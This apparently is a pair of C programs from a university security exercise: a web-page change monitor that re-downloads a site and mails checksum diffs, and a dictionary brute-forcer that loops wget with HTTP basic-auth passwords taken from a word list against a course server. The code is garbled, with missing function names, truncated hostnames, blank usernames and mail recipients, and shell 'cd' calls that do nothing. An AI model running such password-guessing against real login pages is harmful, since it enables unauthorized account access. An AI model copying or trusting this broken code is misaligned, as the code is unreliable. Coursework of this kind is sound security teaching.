#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>


int ()
{
  FILE *fp ,*fp1;
  char pass[15], *getWord;
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir previous");
  system("mv www.cs.rmit.edu./images/*.*   previous/");
  system("mv www.cs.rmit.edu./students/*.* previous/");
  system("cd www.cs.rmit.edu./images");
  system("cksum *.* > ../../cksum1.txt");
  sleep(10000);
  system("cd .. ");
  system("cd .. ");
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir current");
  system("mv www.cs.rmit.edu./images/*.*  current/");
  system("mv www.cs.rmit.edu./students/*.* current/");
  system("cd www.cs.rmit.edu./images");
  system("cksum *.* > ../../cksum2.txt");
  system("diff cksum1.txt cksum2.txt> checksumdifference.txt");
  system("diff previous current > difference.txt");
  fp1 =fopen("difference.txt","r");
  getWord = fgets(pass, 15, fp1);
  if(strlen(getWord)!= 0)
  system("mailx -s   \"Difference in  \"    < difference.txt ");
  fp =fopen("checksumdifference.txt","r");
  getWord = fgets(pass, 15, fp);
  if(strlen(getWord)!= 0)
    system("mailx -s  \"Difference in \"   < checksumdifference.txt");

  return 0;
}


#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/times.h>
#define OneBillion 1e9

int () {
   FILE *fptr;
   char pass[257];
   char send[100],path[50];
   int res,count=0;
   int startTime, stopTime, final;
   startTime = time();
   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {
   
      while(1) {
         fgets(pass,256,fptr);
         if(pass == NULL) exit(1);
         if(pass[3]=='\n') {
            pass[3]='\0';
	    send[0]='\0';
	    strcpy(send,"wget --http-user= --http-passwd=");
 	    strcat(send,pass);
	    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
	    count++;
	    if((res=(system(send)) == 0)) {
	       fclose(fptr);
	       stopTime = time();
               final = stopTime-startTime;
	       printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",pass,(double)final/OneBillion,count);
	       exit(1);
	    }
         }
      }
   }
   printf("\nFILE CANNOT  OPENED\n");
}
